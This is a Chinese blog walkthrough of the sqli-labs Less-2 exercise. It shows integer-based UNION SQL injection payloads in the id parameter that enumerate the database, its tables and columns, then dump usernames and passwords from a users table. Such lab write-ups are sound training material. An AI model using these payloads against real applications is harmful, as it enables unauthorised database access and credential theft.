sqli-lab教程Less-2

简介: sqli-lab教程Less-2

less-2


sqli-lab通过各种方式(整型注入,字符注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。


学习sqli注入必备语句:

查库:select schema_name from information_schema.schemata


查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)


查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)


查字段的值:select username,password from security.users(此处拿username,password字段为例)


1.加单引号看出,此处是整形注入


2.使用order by语句判断列数,3列回显正确,说明有三列


3.使用union select联合查询,把id改成一个不存在的值使得有回显位

?id=-1 union select 1,2,3



4.进行爆库操作

?id=-1 union select 1,2,database()



5.进行爆表操作

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'


group_concat:将所有的数据连接进行拼接后作为一行显示


where:指定库的位置


6.进行爆字段操作

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'



7.进行爆字段值操作

?id=-1 union select 1,2,group_concat(concat_ws('~',username,password)) from security.users


concat_ws(’~’,A,B)


显示为(A~B),用于区分用户名、密码


注入完成! 这是方法之一,后期会出sqlmap工具等教程…
目录
相关文章
|
Web App开发 移动开发 Linux
DP读书:《openEuler操作系统》(七)FSCK与VFS虚拟文件系统
DP读书:《openEuler操作系统》(七)FSCK与VFS虚拟文件系统
467 0
|
安全
sqli-lab教程Less-9
sqli-lab教程Less-9
166 0
|
安全
sqli-lab教程Less-8
sqli-lab教程Less-8
230 0
|
Android开发
mac下配置adb环境变量
在终端中输入adb命令时,会提示 command not found ,这是是因为mac电脑下没有配置Android环境变量或者环境变量配置错误。
|
5月前
|
敏捷开发 数据可视化 BI
敏捷开发轻量级看板工具:提升效率的秘密武器
敏捷开发是一种以人为核心、迭代递进的软件开发方法,强调灵活应对变化与持续反馈。其核心原则来自《敏捷宣言》,包括重视个体协作、可工作软件、客户合作和响应变化。与传统开发相比,敏捷更注重快速交付和客户参与。看板作为轻量级工具,通过可视化工作流提升协作效率,适合Scrum等敏捷方法。主流工具如板栗看板、KanbanFlow等提供简洁界面和实时协作功能,帮助团队管理任务流程。敏捷团队应结合看板工具进行日常站会、Sprint回顾,持续优化开发流程。轻量级看板工具适用于不同规模团队,是提升敏捷效率的有效选择。
477 0
|
小程序
【小程序】报错:no such file or directory, access ‘wxfile://usr/miniprogramLog/log2‘
【小程序】报错:no such file or directory, access ‘wxfile://usr/miniprogramLog/log2‘
2407 0
|
测试技术 API 微服务
性能测试并发量评估新思考
性能测试并发量评估新思考
576 20
性能测试并发量评估新思考
|
数据挖掘 定位技术 API
Python GIS神器geopandas 1.0版本来了
Python GIS神器geopandas 1.0版本来了
394 4
|
机器学习/深度学习 PyTorch TensorFlow
使用Python实现智能食品质量检测的深度学习模型
使用Python实现智能食品质量检测的深度学习模型
588 1
|
存储 Oracle 关系型数据库
OceanBase有什么优势?
【8月更文挑战第12天】OceanBase有什么优势?
775 3

热门文章

最新文章